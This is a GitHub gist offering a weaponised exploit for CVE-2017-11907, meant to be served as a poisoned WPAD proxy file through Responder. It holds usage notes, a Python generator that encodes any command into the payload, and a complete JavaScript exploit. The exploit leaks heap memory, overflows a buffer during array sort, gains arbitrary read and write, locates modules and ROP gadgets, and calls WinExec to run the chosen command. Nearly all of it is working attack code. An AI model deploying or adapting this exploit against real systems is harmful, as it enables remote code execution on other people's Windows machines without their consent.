Skip to content

Instantly share code, notes, and snippets.

@jthuraisamy
Last active September 25, 2019 10:18
Show Gist options
  • Save jthuraisamy/3abd7395ea23784bdd6d6ff07a4a9c86 to your computer and use it in GitHub Desktop.
Save jthuraisamy/3abd7395ea23784bdd6d6ff07a4a9c86 to your computer and use it in GitHub Desktop.
CVE-2017-11907 WPAD.dat Generator for Responder

Usage

This script generates a payload for use with Responder.

  1. Generate a payload with main.py
  2. Copy and paste the one-liner output into the WPADScript field of Responder.conf.
test@test:~$ python3 main.py --help
usage: main.py [-h] [-o OUT] cmd
positional arguments:
  cmd                Command (e.g. calc.exe).
optional arguments:
  -h, --help         show this help message and exit
  -o OUT, --out OUT  wpad.dat output path.
test@test:~$ python3 main.py calc.exe
function FindProxyForURL(url,host){var payload=String.fromCharCode(24931,25452,25902,25976,0);function ale...

References

  1. https://bugs.chromium.org/p/project-zero/issues/detail?id=1383
  2. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11907
  3. https://googleprojectzero.blogspot.ca/2017/12/apacolypse-now-exploiting-windows-10-in_18.html
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# References:
# 1. https://bugs.chromium.org/p/project-zero/issues/detail?id=1383
# 2. https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11907
import struct
from argparse import ArgumentParser
from jsmin import jsmin
def main(cmd, out_path=None):
# Encode provided command.
cmd = cmd.ljust(len(cmd) + (len(cmd) % 2), '\x00') # Pad string to even-width.
cmd_char_codes = struct.unpack('H' * (len(cmd) // 2), str.encode(cmd)) + (0,) # Add null terminator.
payload = 'String.fromCharCode{0}'.format(cmd_char_codes)
# Parse and minify default wpad.dat file.
# Responder requires the JS code to be a one-liner.
with open('wpad.dat', 'rb') as wpad_tpl_hnd:
js = wpad_tpl_hnd.read()
js = js.replace(b'{{PAYLOAD}}', payload.encode())
js = jsmin(js.decode()).replace('\n', ';')
# Output to stdout or specified file.
if out_path:
with open(out_path, 'wb') as wpad_out_hnd:
wpad_out_hnd.write(js.encode())
else:
print(js)
if __name__ == '__main__':
parser = ArgumentParser()
parser.add_argument('cmd', help="Command (e.g. calc.exe).")
parser.add_argument('-o', '--out', help='wpad.dat output path.', default=None)
args = parser.parse_args()
main(args.cmd, args.out)
function FindProxyForURL(url, host) {
var payload = {{PAYLOAD}};
function alert(str) {
//window.alert(str);
Math.acos(str);
}
function prompt(str1, str2) {
//window.prompt(str1, str2);
Math.asin(str1 + ' : ' + str2);
}
var segmentheap = true;
var lfharrsize = 342;
var arrelements = 170;
// tells us with which array index we'll be overwriting which object/hashtable entry
// likely will be different for Segment Heap unless the space between allocations is same
var arrindex1 = 181;
var objindex1 = 98;
var hash1 = 0x401;
var arrindex2 = 182;
var objindex2 = 232;
var hash2 = 0x3c07;
var arrindex3 = 183;
var objindex3 = 238;
var hash3 = 0x3c0d;
var arrindex4 = 185;
var objindex4 = 243;
var hash4 = 0x3c19;
var arrindex5 = 186;
var objindex5 = 249;
var hash5 = 0x3c1f;
var straddress = 0;
var strarr = new Array(1000);
var exploitobj = 0;
// fix various offsets if we are in nt heap and not segment heap
function inntheap() {
lfharrsize = 340;
arrelements = 169;
arrindex1 = 172;
objindex1 = 234;
hash1 = 0x3c09;
arrindex2 = 175;
objindex2 = 245;
hash2 = 0x3c1b;
arrindex3 = 177;
objindex3 = 250;
hash3 = 0x3c27;
arrindex4 = 178;
objindex4 = 256;
hash4 = 0x3c2d;
arrindex5 = 179;
objindex5 = 3;
hash5 = 0x33;
}
function qwordFromStr(str, index) {
var cc1 = String.prototype.charCodeAt.call(str, index);
var cc2 = String.prototype.charCodeAt.call(str, index+1);
var cc3 = String.prototype.charCodeAt.call(str, index+2);
var cc4 = String.prototype.charCodeAt.call(str, index+3);
return cc1 + 65536 * cc2 + 4294967296 * cc3 + 281474976710656 * cc4;
}
function dwordFromStr(str, index) {
var cc1 = String.prototype.charCodeAt.call(str, index);
var cc2 = String.prototype.charCodeAt.call(str, index+1);
return cc1 + 65536 * cc2;
}
function qwordToStr(value) {
return String.fromCharCode(value % 65536, Math.floor(value/65536) % 65536, Math.floor(value/4294967296) % 65536, Math.floor(value/281474976710656));
}
function dwordToStr(value) {
return String.fromCharCode(value % 65536, Math.floor(value/65536) % 65536);
}
function isAddress(value) {
if(value > 140737488355327) return false;
return true;
}
function fakeVAR(name, hash, type, value, extra) {
return String.fromCharCode(type,0,0,0) + qwordToStr(value) + String.fromCharCode(extra,0,0,0, 0,0,0,0) + dwordToStr(hash) + String.fromCharCode(name.length * 2, 0) + "aaaaaaaaaaaa" + name + String.fromCharCode(0,0,0,0).substr(0, 4-name.length) + "aaaa";
}
// makes jscript believe that exploitobj[objindex1] is a string
// whose data is on 'address'
function fakeStringAt(address) {
exploitobj[objindex1] = address * 4.9406564584124654E-324;
exploitobj[objindex2] = exploitobj[objindex4];
}
// warning warning warning: this will currently corrupt data around
// (8 bytes before and 8 bytes after) the 8 bytes being written
function write(address, data) {
exploitobj[objindex1] = address * 4.9406564584124654E-324;
exploitobj[objindex2] = exploitobj[objindex5];
exploitobj[objindex1] = 4.9406564584124654E-324 * data;
}
function readQword(address) {
var offset = 0;
while(1) {
fakeStringAt(address - offset * 2);
if(exploitobj[objindex1].length >= 4 + offset) {
var ret = qwordFromStr(exploitobj[objindex1], offset);
exploitobj[objindex2] = exploitobj[objindex3];
return ret;
}
offset += 1;
}
}
//given an address that points somewhere inside a module
//finds the base address of that module
function getModuleBase(address) {
var baseaddress = address - address % 0x10000;
fakeStringAt(baseaddress + 4);
while(exploitobj[objindex1].length % 0x8000 != 0x2d26) {
baseaddress = baseaddress - 0x10000;
fakeStringAt(baseaddress + 4);
}
return baseaddress;
}
//retrieves address of a Jscript object or string
function getObjectAddress(object) {
exploitobj[objindex1] = object;
exploitobj[objindex2] = exploitobj[objindex3];
var objaddress1 = exploitobj[objindex1] / 4.9406564584124654E-324;
return readQword(objaddress1 + 8);
}
//retrieves address of jscript.dll module in memory
function getJscriptAddress() {
var object = {};
var objaddress = getObjectAddress(object);
var vtableaddress = readQword(objaddress);
return getModuleBase(vtableaddress);
}
//loads the entire module in a jscript string and returns it
function loadModuleInString(baseaddress) {
stroffset = 4;
fakeStringAt(baseaddress + stroffset);
var coff = dwordFromStr(exploitobj[objindex1], (0x3C - stroffset)/2);
var imgsize = dwordFromStr(exploitobj[objindex1], (coff + 4 + 20 + 56 - stroffset)/2);
var ret = "MZ" + String.prototype.substr.call(exploitobj[objindex1], 0, (imgsize - stroffset)/2);
exploitobj[objindex2] = exploitobj[objindex3];
return ret;
}
//searches for the iat inside a module and retrieves the
//address at the specified index
function getImport(str, iatindex) {
var coff = dwordFromStr(str, 0x3C/2);
var iat = dwordFromStr(str, (coff + 4 + 20 + 208)/2);
return qwordFromStr(str, (iat + iatindex)/2);
}
//searches the export table for a specified name
//note that in export table names are 8-bit strings while
//in jscript strings are 16-bits. This is why 2 names need to
//be provided which correspond to 16-bit representations of the
//name when read from index 0 or at index 1
function findExport(str, name1, name2) {
var coff = dwordFromStr(str, 0x3C/2);
var exportdir = dwordFromStr(str, (coff + 4 + 20 + 112)/2);
var numentries = dwordFromStr(str, (exportdir + 24)/2);
var nameptrs = dwordFromStr(str, (exportdir + 32)/2);
var index = -1;
for(var i=0; i<numentries; i++) {
var nameptr = dwordFromStr(str, (nameptrs + i*4)/2);
if(nameptr % 2 == 0) {
if(str.substr(nameptr/2, name1.length) == name1) {
index = i;
break;
}
} else {
if(str.substr(Math.floor(nameptr/2)+1, name2.length) == name2) {
index = i;
break;
}
}
}
if(index == -1) {
alert('error finding export entry');
return 0;
}
var rvas = dwordFromStr(str, (exportdir + 28)/2);
var rva = dwordFromStr(str, (rvas + index*4)/2);
return rva;
}
//writes an array of values at the specified address
//note that 16 bits immediately before address are going to get corrupted
function writeArray(address, arr) {
//prepare fake vars with payload in the last 8 bytes
var fakeVARs = "";
for(var i=0; i<arr.length; i++) {
fakeVARs += String.fromCharCode(3,0,0,0,3,0,0,0) + qwordToStr(arr[i]);
}
fakeVARs1 = fakeVARs.substr(0, fakeVARs.length);
var fakeVARsaddr = getObjectAddress(fakeVARs1);
for(var i=arr.length-1; i>=0; i--) {
var dstaddress = address + 8*i - 16;
var fakeVARaddr = fakeVARsaddr + i*24;
//read fake var
exploitobj[objindex1] = fakeVARaddr * 4.9406564584124654E-324;
exploitobj[objindex2] = exploitobj[objindex5];
var datavar = exploitobj[objindex1];
exploitobj[objindex2] = exploitobj[objindex3];
//write fake var
exploitobj[objindex1] = dstaddress * 4.9406564584124654E-324;
exploitobj[objindex2] = exploitobj[objindex5];
exploitobj[objindex1] = datavar;
exploitobj[objindex2] = exploitobj[objindex3];
}
}
function writeArray_trampoline(address, arr) {
writeArray(address, arr);
}
//executes windows command given address of winexec and some ROP gagdets
function callWinExec(command, winexec, ret, poprcxret, poprdxret) {
var cmdaddr = getObjectAddress(command);
var roparr = [ret, poprcxret, cmdaddr, poprdxret, 1, winexec];
//var roparr = [0x42424242, 0x43434343, 0x44444444];
//leak stack
var object = {};
var objaddress1 = getObjectAddress(object);
var objaddress2 = readQword(objaddress1 + 24);
var stackaddress = readQword(objaddress2 + 80);
exploitobj[objindex2] = exploitobj[objindex3];
prompt('stackaddress', stackaddress.toString(16));
writeArray_trampoline(stackaddress-0x78, roparr);
//writeArray_trampoline(stackaddress+0x188, roparr);
}
function doStuff() {
//demonstrates arbitrary write
//write(0x4141414141, 0x4242424242);
//demonstrates arbitrary read
//fakeStringAt(0x4141414141);
//alert(exploitobj[objindex1].length);
CollectGarbage();
var jscriptaddress = getJscriptAddress();
var jscriptstr = loadModuleInString(jscriptaddress);
var virtualprotect = getImport(jscriptstr, 320);
var kernel32 = getModuleBase(virtualprotect);
var kernel32str = loadModuleInString(kernel32);
var kernelbase = getImport(kernel32str, 0);
kernelbase = getModuleBase(kernelbase);
kernelbasestr = loadModuleInString(kernelbase);
//find ROP gadgets
var gadget = kernelbasestr.indexOf(String.fromCharCode(0xccc3), 0x1000/2);
if(gadget == -1) {
alert('Error finding ROP gadgets 1');
return 0;
}
var ret = kernelbase + gadget * 2;
var gadget = kernelbasestr.indexOf(String.fromCharCode(0x1459, 0xc300), 0x1000/2);
if(gadget == -1) {
alert('Error finding ROP gadgets for pop rcx');
gadget = kernelbasestr.indexOf(String.fromCharCode(0x7559, 0xb806, 0x0005, 0x0000, 0xB8C3), 0x1000/2);
if(gadget == -1) {
alert('Error finding second gadget for pop rcx');
return 0;
}
}
var poprcxret = kernelbase + gadget * 2;
var gadget = kernelbasestr.indexOf(String.fromCharCode(0x145a, 0xc300), 0x1000/2);
if(gadget == -1) {
alert('Error finding ROP gadgets for pop rdx');
gadget = kernelbasestr.indexOf(String.fromCharCode(0x665A, 0x0005, 0xC33B), 0x1000/2);
if(gadget == -1) {
alert('Error finding second gadget for pop rdx');
return 0;
}
}
var poprdxret = kernelbase + gadget * 2;
var winexec = kernel32 + findExport(kernel32str, String.fromCharCode(0x6957, 0x456e, 0x6578), String.fromCharCode(0x6e69, 0x7845, 0x6365));
//callWinExec(String.fromCharCode(0x6d63,0x0064), winexec, ret, poprcxret, poprdxret);
callWinExec(payload, winexec, ret, poprcxret, poprdxret);
alert('done');
}
function infoleak() {
//alert('infoleak start');
// make a string of 20000 bytes or larger
var str = "aaaaaaaaaa";
while(str.length < 10000) str = str + str;
// allocate a lot of strings
for(var i=0; i<1000; i++) {
strarr[i] = str.substr(0,10000);
}
// free half of the strings
for(var i=0; i<500; i++) {
strarr[i*2] = 1;
}
// actually free the strings
CollectGarbage();
// trigger out of bounds read of 20080 bytes from a 20000-byte string
var r= new RegExp(Array(42).join('()'));
strarr[737].search(r);
RegExp.input = 0x2738;
var leak = RegExp.lastParen;
if(leak.length != 0x2738) {
alert('infoleak failed 1');
return 0;
}
if((leak.charCodeAt(0x2737) != 0x61) || (leak.charCodeAt(0x2734) != 0x61)) {
alert('infoleak failed 2');
return 0;
}
if((leak.charCodeAt(0x2724) == 0x61) && (leak.charCodeAt(0x2727) == 0x61)) {
alert('nt heap detected');
segmentheap = false;
inntheap();
}
if(segmentheap) {
//straddress = qwordFromStr(leak, 10024) + 16;
//straddress = qwordFromStr(leak, 10028) + 16;
straddress = qwordFromStr(leak, 10032) + 16;
} else {
straddress = qwordFromStr(leak, 10012) + 8;
}
if(!isAddress(straddress)) {
alert('infoleak failed');
return 0;
}
var str2 = "aaaaaaaa" + fakeVAR(objindex1.toString(), hash1, 3, 1337, 0) + fakeVAR(objindex2.toString(), hash2, 0x400c, straddress, 0) + fakeVAR(objindex3.toString(), hash3, 3, 1339, 5) + fakeVAR(objindex4.toString(), hash4, 3, 1340, 8) + fakeVAR(objindex5.toString(), hash5, 3, 1341, 0x400c) + str;
for(var i=0; i<500; i++) {
strarr[i*2] = str2.substr(0,10000);
}
prompt('infoleak address: ', straddress.toString(16));
return 1;
}
function overflow() {
//alert('overflow start');
// enable LFH for allocations with size ~0x2000
// function.apply causes malloc (array size * 24) & free to be called
function lfhf() { return 1; }
var lfharr = new Array(lfharrsize);
for(var i=0;i<5000;i++) {
lfhf.apply({}, lfharr);
}
// create array to call sort on
// 169 elements because (169 + 1)*48 = 0x0x1fe0 so it should fall in the same LFH bucket as 0x2000
var arr = new Array(300);
for(var i=0; i<arrelements; i++) arr[i] = "a";
// allocate some object whose hashtables we're going to overwrite. Currently their hashtables are 0x400 bytes each
// but we'll change that soon
var objects = new Array(2000);
for(var i=0; i<2000; i++) {
var o = {};
for(var j=0; j<512; j++) o[j] = j;
objects[i] = o;
}
// o2's toString mehod just checks if we successfully overflowed the buffer
var o2 = {toString:function() {
//alert('entering o2.toString');
for(var i=0; i<2000; i++) {
if(objects[i][objindex1] == 1337) {
exploitobj = objects[i];
alert('we win');
doStuff();
}
}
alert('returning from o2.toString. This shouldn\'t be reached');
return 'a';
}};
var o = {toString:function() {
// cause some more objects to rehash which allocates a 0x2000 hashtable
// hopefully one of them is going to be adjacent to the overflowed buffer
for(var i=1000; i<2000; i++) {
objects[i][512] = 512;
}
// add new elements to arr which will cause a buffer overflow once we return to JsArrayStringHeapSort
for(var i=arrelements;i<300;i++) {
arr[i] = 4.9406564584124654E-324 * 0x4141414141;
}
arr[arrindex1] = 4.9406564584124654E-324 * (straddress + 16);
arr[arrindex2] = 4.9406564584124654E-324 * (straddress + 80 + 16);
arr[arrindex3] = 4.9406564584124654E-324 * (straddress + 80 * 2 + 16);
arr[arrindex4] = 4.9406564584124654E-324 * (straddress + 80 * 3 + 16);
arr[arrindex5] = 4.9406564584124654E-324 * (straddress + 80 * 4 + 16);
// don't forget the last element so we can actually exploit this
// if we let JsArrayStringHeapSort return we'll just get a crash on free() of the overflowed buffer
arr[299] = o2;
return 'a';
}};
arr[0] = o;
CollectGarbage();
// cause objects to rehash which allocates a 0x2000 hashtable
// hopefully one of them is going to be adjacent to the overflowed buffer
for(var i=0; i<1000; i++) {
objects[i][512] = 512;
}
Array.prototype.sort.call(arr);
}
if(infoleak() == 1) {
overflow();
}
return "DIRECT";
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment